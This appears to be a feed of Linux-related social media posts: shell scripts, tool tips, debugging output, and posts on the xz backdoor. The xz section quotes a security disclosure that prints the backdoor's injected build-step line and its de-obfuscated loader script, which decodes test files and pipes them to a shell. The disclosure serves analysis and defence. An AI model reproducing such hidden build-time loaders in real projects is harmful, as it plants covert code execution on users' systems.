Modern shell #scripting is weird. :P #programming #bash #linux

#!/usr/bin/env bash

function parse_options () {
    declare -n result="$1"
    shift 1
    result['verbosity']='4'
    result['memory']='24G'
    result['volumes']=''
    result['device']='/dev/st0'
    result['write-rate']='250M'

    local opt
    local OPTARG
    while getopts 'vm:n:i:' opt
    do
        case $opt in
            v)
                result['verbosity']=6
                ;;
            m)
                result['memory']="$OPTARG"
                ;;
            n)
                result['volumes']="$OPTARG"
                ;;
            i)
                result['device']="$OPTARG"
                ;;
            r)
                result['write-rate']="$OPTARG"
                ;;
        esac
    done

    if [[ -z "${result['volumes']}" ]]; then
        echo "-i VOLUMES is required"
        exit 1
    fi
    return 0
}


declare -A CONFIG
parse_options CONFIG "$@" || exit 1

exec mbuffer \
    -v "${CONFIG['verbosity']}" \
    -m "${CONFIG['memory']}" \
    -n "${CONFIG['volumes']}" \
    -p 30 \
    -s 65536 \
    -A 'sh /usr/local/bin/tape_wait.sh' \
    -f \
    -R "${CONFIG['write-rate']}" \
    -i "${CONFIG['device']}"

summary: 6948 GiByte in 10h 37min 19.6sec - average of  186 MiB/s, 120x full

If you are using #htop and want to see custom thread names, do this:

F2 → Display options → Show custom thread names

#Linux #Unix #macOS

XZ Backdoor: Times, damned times, and scams

There has been a recent backdoor found in the xz/liblzma tarball. In what is likely one of the largest breaches of trust in the free software ecosystem, this backdoor is likely to have been put in by Jia Tan, a long-time maintainer of xz. Throughout his tenure as a maintainer, Jia remained relatively mysterious — as is not uncommon in the community, little beyond his name (which is likely a lie) is known about him. Generally, anonymity in the free software sphere is a good thing: software is inherently based on accomplishment and merit, and there is no reason to know anything about a person’s identity. However, in this case, where someone built up the trust of a community for years and then abused it, it is interesting to see who they are. Luckily for us, Jia’s activity does provide some metadata which we can potentially use to learn more about him. So here’s an analysis on what we can learn from his work patterns and time zone.

I think that is what Jia Tan did. Based on his name, he wanted people to believe he is Asian — specifically Chinese— and the vast majority of his commits (440) appear to have a UTC+08 time stamp. The +0800 is likely CST, the time zone of China (or Indonesia or Philippines or Western Australia), given almost no one lives in Siberia and the Gobi desert.

However, I believe that he is actually from somewhere in the UTC+02 (winter)/UTC+03 (DST) timezone, which includes Eastern Europe (EET), but also Israel (IST), and some others. Forging time zones would be easy — no need to do any math or delay any commits. He likely just changed his system time to Chinese time every time he committed.

We see him usually working 9 am to 6 pm (adjusted to EET). This makes much more sense than someone working at midnight and 1 am on a Tuesday night (non-adjusted, using UTC+08).

Except sometimes, he forgot to change his time zone. There are 3 commits and 6 commits, respectively, with UTC+02 and UTC+03. The UTC+02 time zones match perfectly with the winter time (February and November), while the UTC+03 matches with summer (Jun, Jul, and early October). This matches perfectly with the daylight savings time switchover that happens in Eastern Europe; we see a switch to +0200 in the winter (past the last weekend of October) and +0300 in the summer (past the last Sunday in March). Incidentally, this seems to be the same time zone as Lasse Collin and Hans Jansen.

#xz #lzma #liblzma #backdoor #linux

Apparently that xz backdoor was only one of the malicious things added by "Jia Tan".

#xz #Linux

Looks like we have a new #xz vulnerability (backdoor):

XZ Struck By Malicious Code That Could Allow Unauthorized Remote System Access

Red Hat today issued an "urgent security alert" for Fedora 41 and Fedora Rawhide users over XZ. Yes, the XZ tools and libraries for this compression format. Some malicious code was added to XZ 5.6.0/5.6.1 that could allow unauthorized remote system access.

Red Hat cites CVE-2024-3094 for this XZ security vulnerability due to malicious code making it into the codebase. I haven't seen CVE-2024-3094 made public yet but the Red Hat security alert sums it up as…

From this mailing list thread:

Compromised Release Tarball

[quote]One portion of the backdoor is solely in the distributed tarballs. For easier reference, here's a link to debian's import of the tarball, but it is also present in the tarballs for 5.6.0 and 5.6.1:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

That line is *not* in the upstream source of build-to-host, nor is build-to-host used by xz in git. However, it is present in the tarballs released upstream, except for the "source code" links, which I think github generates directly from the repository contents:

• https://github.com/tukaani-project/xz/releases/tag/v5.6.0
• https://github.com/tukaani-project/xz/releases/tag/v5.6.1

This injects an obfuscated script to be executed at the end of configure. This script is fairly obfuscated and data from "test" .xz files in the repository.

This script is executed and, if some preconditions match, modifies $builddir/src/liblzma/Makefile to contain

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

which ends up as

...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Leaving out the "| bash" that produces

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

After de-obfuscation this leads to the attached injected.txt.

Compromised Repository

The files containing the bulk of the exploit are in an obfuscated form in

• tests/files/bad-3-corrupt_lzma2.xz
• tests/files/good-large_compressed.lzma

committed upstream. They were initially added in https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

Note that the files were not even used for any "tests" in 5.6.0.

Subsequently the injected code (more about that below) caused valgrind errors and crashes in some configurations, due the stack layout differing from what the backdoor was expecting. These issues were attempted to be worked around in 5.6.1:

• https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
• https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
• https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

For which the exploit code was then adjusted:

https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

Given the activity over several weeks, the committer is either directly involved or there was some quite severe compromise of their system. Unfortunately the latter looks like the less likely explanation, given they communicated on various lists about the "fixes" mentioned above.

Florian Weimer first extracted the injected code in isolation, also attached, liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!

#Linux

Any suggestions for getting TCP forwarding working via #SSH? I'm getting errors like this:

refused local port forward: originator 127.0.0.1 port 49673, target 127.0.0.1 port 443

$ grep -i 'forward\|permitopen' full-sshd-config
x11forwarding no
allowtcpforwarding yes
allowagentforwarding yes
disableforwarding no
allowstreamlocalforwarding yes
permittunnel no
permitopen 127.0.0.1:443

#Linux

Playing #OpenTTD for the first time in a long while thanks to @Eniko Fox . :)

Also finally got MIDI music set up correctly. 👍 #linux

Thread 1 "geeqie" received signal SIGSEGV, Segmentation fault.
0x00007ffff5bc0ca9 in arena_for_chunk (ptr=0x5555570d1fc0) at /usr/src/debug/glibc/glibc/malloc/arena.c:162
Downloading source file /usr/src/debug/glibc/glibc/malloc/arena.c
162       return chunk_main_arena (ptr) ? &main_arena : heap_for_ptr (ptr)->ar_ptr;                                                                                                                                                                                                                                            
(gdb) where
#0  0x00007ffff5bc0ca9 in arena_for_chunk (ptr=0x5555570d1fc0) at /usr/src/debug/glibc/glibc/malloc/arena.c:162
#1  arena_for_chunk (ptr=0x5555570d1fc0) at /usr/src/debug/glibc/glibc/malloc/arena.c:160
#2  __GI___libc_free (mem=<optimized out>) at malloc.c:3366
#3  0x00007ffff5eaeaba in operator delete(void*) (ptr=<optimized out>) at /usr/src/debug/gcc/gcc/libstdc++-v3/libsupc++/del_op.cc:49
#4  0x00007ffff5eaeaea in operator delete[](void*) (ptr=<optimized out>) at /usr/src/debug/gcc/gcc/libstdc++-v3/libsupc++/del_opv.cc:35
#5  0x0000555555602176 in exif_free_preview (buf=<optimized out>) at ../geeqie-2.0.1/src/exiv2.cc:1265
#6  image_loader_stop_source(ImageLoader*) (il=il@entry=0x555556fc7750) at ../geeqie-2.0.1/src/image-load.c:1095
#7  0x0000555555602246 in image_loader_stop (il=0x555556fc7750) at ../geeqie-2.0.1/src/image-load.c:1129
#8  image_loader_finalize(GObject*) (object=0x555556fc7750) at ../geeqie-2.0.1/src/image-load.c:206
#9  0x00007ffff778d8b4 in g_object_unref (_object=0x555556fc7750) at ../glib/gobject/gobject.c:3938
#10 g_object_unref (_object=0x555556fc7750) at ../glib/gobject/gobject.c:3802
#11 0x00007ffff77aa5d1 in g_value_unset (value=0x7fffffffd2b0) at ../glib/gobject/gvalue.c:313
#12 0x00007ffff779e67f in g_signal_emit_valist (instance=<optimized out>, signal_id=<optimized out>, detail=<optimized out>, var_args=var_args@entry=0x7fffffffd450) at ../glib/gobject/gsignal.c:3595
#13 0x00007ffff779ed34 in g_signal_emit (instance=<optimized out>, signal_id=<optimized out>, detail=<optimized out>) at ../glib/gobject/gsignal.c:3622
#14 0x00005555555ff468 in image_loader_emit_done_cb(gpointer) (data=<optimized out>) at ../geeqie-2.0.1/src/image-load.c:304
#15 0x00007ffff7ce9981 in g_main_dispatch (context=0x555556499420) at ../glib/glib/gmain.c:3460
#16 g_main_context_dispatch (context=0x555556499420) at ../glib/glib/gmain.c:4200
#17 0x00007ffff7d46b39 in g_main_context_iterate.isra.0 (context=0x555556499420, block=block@entry=1, dispatch=dispatch@entry=1, self=<optimized out>) at ../glib/glib/gmain.c:4276
#18 0x00007ffff7ce8f3f in g_main_loop_run (loop=0x555556fcae20) at ../glib/glib/gmain.c:4479
#19 0x00007ffff6fecf6f in gtk_main () at ../gtk/gtk/gtkmain.c:1329
#20 0x00005555555c4574 in main(gint, gchar**) (argc=<optimized out>, argv=<optimized out>) at ../geeqie-2.0.1/src/main.c:1469

% sudo pip install python-magic
error: externally-managed-environment

× This environment is externally managed
╰─> To install Python packages system-wide, try 'pacman -S
    python-xyz', where xyz is the package you are trying to
    install.
    
    If you wish to install a non-Arch-packaged Python package,
    create a virtual environment using 'python -m venv path/to/venv'.
    Then use path/to/venv/bin/python and path/to/venv/bin/pip.
    
    If you wish to install a non-Arch packaged Python application,
    it may be easiest to use 'pipx install xyz', which will manage a
    virtual environment for you. Make sure you have python-pipx
    installed via pacman.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

function ctee () {
    local OUTF="$1"
    shift 1
    if [ -z "$OUTF" ]; then
        echo "Usage: ctee OUTF" >&2
        return 1
    fi
    tee "$@" >(nice -n20 xz > "$OUTF")
}

errmsg.c: Called LogMsg, msg: error during parsing file /etc/rsyslog.conf, on or before line 23: MODNAME is an optional module which could not be built on your platform please remove it from the configuration or upgrade your platform